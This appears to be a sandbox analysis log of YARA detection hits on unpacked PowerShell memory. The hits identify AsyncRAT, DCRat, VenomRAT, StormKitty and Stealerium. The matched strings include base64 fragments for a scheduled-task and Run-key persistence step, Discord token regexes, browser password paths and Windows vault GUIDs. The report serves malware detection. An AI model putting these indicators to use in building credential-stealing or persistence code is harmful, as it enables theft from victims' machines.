15.2.powershell.exe.623334a.6.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d38:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163eac:$s6: VirtualBox 0x173a2b:$s6: VirtualBox 0x16f448:$s8: Win32_ComputerSystem 0x173991:$s8: Win32_ComputerSystem 0x16c574:$s9: Win32_Process Where ParentProcessID= 0x16c191:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c22e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c343:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c42b:$cnc4: POST / HTTP/1.1
14.2.powershell.exe.694f420.5.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
14.2.powershell.exe.694f420.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.powershell.exe.694f420.5.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
14.2.powershell.exe.694f420.5.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
14.2.powershell.exe.694f420.5.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x23f608:$a1: havecamera 0x28a432:$a2: timeout 3 > NUL 0x28d7b5:$a3: START "" " 0x28dcca:$a3: START "" " 0x28dba5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28dc42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
14.2.powershell.exe.694f420.5.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x290b2c:$str01: Processe: 0x2909e8:$str02: Compname: 0x290ae2:$str04: SandBoxie: 0x290a78:$str08: WEBCAMS COUNT: 0x290a9c:$str09: [Virtualization] 0x2912ea:$str10: [Open google maps]( 0x292d61:$str11: Remember password: 0x285e54:$str12: Target.Browsers.Firefox 0x26d5cf:$str13: Modules.Keylogger 0x275492:$str14: ClipperAddresses 0x277637:$str15: ChromiumPswPaths 0x277649:$str15: ChromiumPswPaths 0x27358c:$str16: DetectedBankingServices 0x2736f5:$str17: DetectCryptocurrencyServices 0x2815ee:$str18: CheckRemoteDebuggerPresent 0x282573:$str19: GetConnectedCamerasCount
14.2.powershell.exe.694f420.5.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x250b52:$str01: set_sUsername 0x25e084:$str03: set_sExpMonth 0x27343f:$str04: WritePasswords 0x273ef9:$str05: WriteCookies 0x277648:$str06: sChromiumPswPaths 0x277623:$str07: sGeckoBrowserPaths 0x28cccf:$str10: encrypted_key":"(.*?)"
14.2.powershell.exe.694f420.5.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28dc42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x289d12:$str04: Pac_ket 0x299a58:$str05: Perfor_mance 0x299a9c:$str06: Install_ed 0x244105:$str07: get_IsConnected 0x25a5ca:$str08: get_ActivatePo_ng 0x26e505:$str09: isVM_by_wim_temper 0x29a34a:$str10: save_Plugin 0x28a432:$str11: timeout 3 > NUL 0x299638:$str12: ProcessHacker.exe 0x29982a:$str13: Select * from Win32_CacheMemory
14.2.powershell.exe.694f420.5.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28dc42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28dba5:$s2: L2Mgc2NodGFza3MgL2
14.2.powershell.exe.694f420.5.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29982a:$q1: Select * from Win32_CacheMemory 0x29986a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x2998b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x299906:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
14.2.powershell.exe.694f420.5.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x291a06:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
14.2.powershell.exe.694f420.5.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2973a1:$s1: \VPN\NordVPN 0x297387:$s2: \VPN\OpenVPN 0x297369:$s3: \VPN\ProtonVPN
14.2.powershell.exe.694f420.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28c0eb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28c15d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28c1e7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28c279:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28c2e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28c355:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28c3eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28c47b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
14.2.powershell.exe.694f420.5.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x289ca2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x285e16:$s6: VirtualBox 0x295995:$s6: VirtualBox 0x2913b2:$s8: Win32_ComputerSystem 0x2958fb:$s8: Win32_ComputerSystem 0x28e4de:$s9: Win32_Process Where ParentProcessID= 0x28e0fb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28e198:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28e2ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28e395:$cnc4: POST / HTTP/1.1
13.2.powershell.exe.57b8cf4.0.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x70ff4:$x2: https://github.com/LimerBoy/StormKitty 0x71010:$x3: StormKitty
13.2.powershell.exe.58251b8.5.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x4b30:$x2: https://github.com/LimerBoy/StormKitty 0x4b4c:$x3: StormKitty
14.2.powershell.exe.5959a9c.1.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
14.2.powershell.exe.5955534.0.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x4b30:$x2: https://github.com/LimerBoy/StormKitty 0x4b4c:$x3: StormKitty
17.2.powershell.exe.4cc04d8.1.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
14.2.powershell.exe.694f420.5.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
14.2.powershell.exe.694f420.5.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
14.2.powershell.exe.694f420.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.powershell.exe.694f420.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.powershell.exe.694f420.5.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
14.2.powershell.exe.694f420.5.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
14.2.powershell.exe.694f420.5.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
14.2.powershell.exe.694f420.5.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x2927e8:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x287c54:$str12: Target.Browsers.Firefox 0x26f3cf:$str13: Modules.Keylogger 0x277292:$str14: ClipperAddresses 0x279437:$str15: ChromiumPswPaths 0x279449:$str15: ChromiumPswPaths 0x27538c:$str16: DetectedBankingServices 0x2754f5:$str17: DetectCryptocurrencyServices 0x2833ee:$str18: CheckRemoteDebuggerPresent 0x284373:$str19: GetConnectedCamerasCount
14.2.powershell.exe.694f420.5.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x25fe84:$str03: set_sExpMonth 0x27523f:$str04: WritePasswords 0x275cf9:$str05: WriteCookies 0x279448:$str06: sChromiumPswPaths 0x279423:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.*?)"
14.2.powershell.exe.694f420.5.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x29b858:$str05: Perfor_mance 0x29b89c:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x25c3ca:$str08: get_ActivatePo_ng 0x270305:$str09: isVM_by_wim_temper 0x29c14a:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x29b438:$str12: ProcessHacker.exe 0x29b62a:$str13: Select * from Win32_CacheMemory
14.2.powershell.exe.694f420.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2
14.2.powershell.exe.694f420.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b62a:$q1: Select * from Win32_CacheMemory 0x29b66a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b6b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b706:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
14.2.powershell.exe.694f420.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
14.2.powershell.exe.694f420.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN
14.2.powershell.exe.694f420.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
14.2.powershell.exe.694f420.5.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x27dff4:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.*?)"
14.2.powershell.exe.694f420.5.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c16:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1
15.2.powershell.exe.64ff600.7.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
15.2.powershell.exe.64ff600.7.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
15.2.powershell.exe.64ff600.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.powershell.exe.64ff600.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.powershell.exe.64ff600.7.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
15.2.powershell.exe.64ff600.7.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
15.2.powershell.exe.64ff600.7.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x53ee28:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x589c52:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x58cfd5:$a3: START "" " 0x58d4ea:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x58d3c5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58d462:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
15.2.powershell.exe.64ff600.7.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x59034c:$str01: Processe: 0x2927e8:$str02: Compname: 0x590208:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x590302:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x590298:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x5902bc:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x590b0a:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x592581:$str11: Remember password: 0x287c54:$str12: Target.Browsers.Firefox 0x585674:$str12: Target.Browsers.Firefox 0x26f3cf:$str13: Modules.Keylogger 0x56cdef:$str13: Modules.Keylogger 0x277292:$str14: ClipperAddresses 0x574cb2:$str14: ClipperAddresses 0x279437:$str15: ChromiumPswPaths
15.2.powershell.exe.64ff600.7.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x2fdffb:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x550372:$str01: set_sUsername 0x25fe84:$str03: set_sExpMonth 0x55d8a4:$str03: set_sExpMonth 0x27523f:$str04: WritePasswords 0x572c5f:$str04: WritePasswords 0x275cf9:$str05: WriteCookies 0x573719:$str05: WriteCookies 0x279448:$str06: sChromiumPswPaths 0x576e68:$str06: sChromiumPswPaths 0x279423:$str07: sGeckoBrowserPaths 0x576e43:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.?)" 0x58c4ef:$str10: encrypted_key":"(.?)"
15.2.powershell.exe.64ff600.7.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58d462:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x589532:$str04: Pac_ket 0x29b858:$str05: Perfor_mance 0x599278:$str05: Perfor_mance 0x29b89c:$str06: Install_ed 0x5992bc:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x543925:$str07: get_IsConnected 0x25c3ca:$str08: get_ActivatePo_ng 0x559dea:$str08: get_ActivatePo_ng 0x270305:$str09: isVM_by_wim_temper 0x56dd25:$str09: isVM_by_wim_temper 0x29c14a:$str10: save_Plugin 0x599b6a:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x589c52:$str11: timeout 3 > NUL 0x29b438:$str12: ProcessHacker.exe 0x598e58:$str12: ProcessHacker.exe 0x29b62a:$str13: Select * from Win32_CacheMemory
15.2.powershell.exe.64ff600.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x58d462:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2 0x58d3c5:$s2: L2Mgc2NodGFza3MgL2
15.2.powershell.exe.64ff600.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b62a:$q1: Select * from Win32_CacheMemory 0x59904a:$q1: Select * from Win32_CacheMemory 0x29b66a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x59908a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b6b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x5990d8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b706:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x599126:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
15.2.powershell.exe.64ff600.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x591226:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
15.2.powershell.exe.64ff600.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x596bc1:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x596ba7:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN 0x596b89:$s3: \VPN\ProtonVPN
15.2.powershell.exe.64ff600.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x58b90b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x58b97d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x58ba07:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x58ba99:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x58bb03:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x58bb75:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x58bc0b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x58bc9b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
15.2.powershell.exe.64ff600.7.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x2fdfe8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x2fe004:$x3: StormKitty 0x27dff4:$s2: GetAntivirus 0x57ba14:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x591a7a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x58aec5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.?)" 0x58c4ed:$s6: "encrypted_key":"(.?)"
15.2.powershell.exe.64ff600.7.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x5894c2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c16:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x585636:$s6: VirtualBox 0x5951b5:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x590bd2:$s8: Win32_ComputerSystem 0x59511b:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x58dcfe:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x58d91b:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x58d9b8:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x58dacd:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1 0x58dbb5:$cnc4: POST / HTTP/1.1
13.2.powershell.exe.5829720.3.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty
15.2.powershell.exe.662338a.9.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
15.2.powershell.exe.662338a.9.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
15.2.powershell.exe.662338a.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
15.2.powershell.exe.662338a.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.powershell.exe.662338a.9.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
15.2.powershell.exe.662338a.9.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
15.2.powershell.exe.662338a.9.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x41b09e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x465ec8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x46924b:$a3: START "" " 0x469760:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x46963b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x4696d8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
15.2.powershell.exe.662338a.9.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x46c5c2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x46c47e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x46c578:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x46c50e:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x46c532:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x46cd80:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x46e7f7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x4618ea:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x449065:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x450f28:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths
15.2.powershell.exe.662338a.9.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x1da271:$sk01: LimerBoy/StormKitty 0x12ebc8:$str01: set_sUsername 0x42c5e8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x439b1a:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x44eed5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x44f98f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x4530de:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x4530b9:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.?)" 0x468765:$str10: encrypted_key":"(.?)"
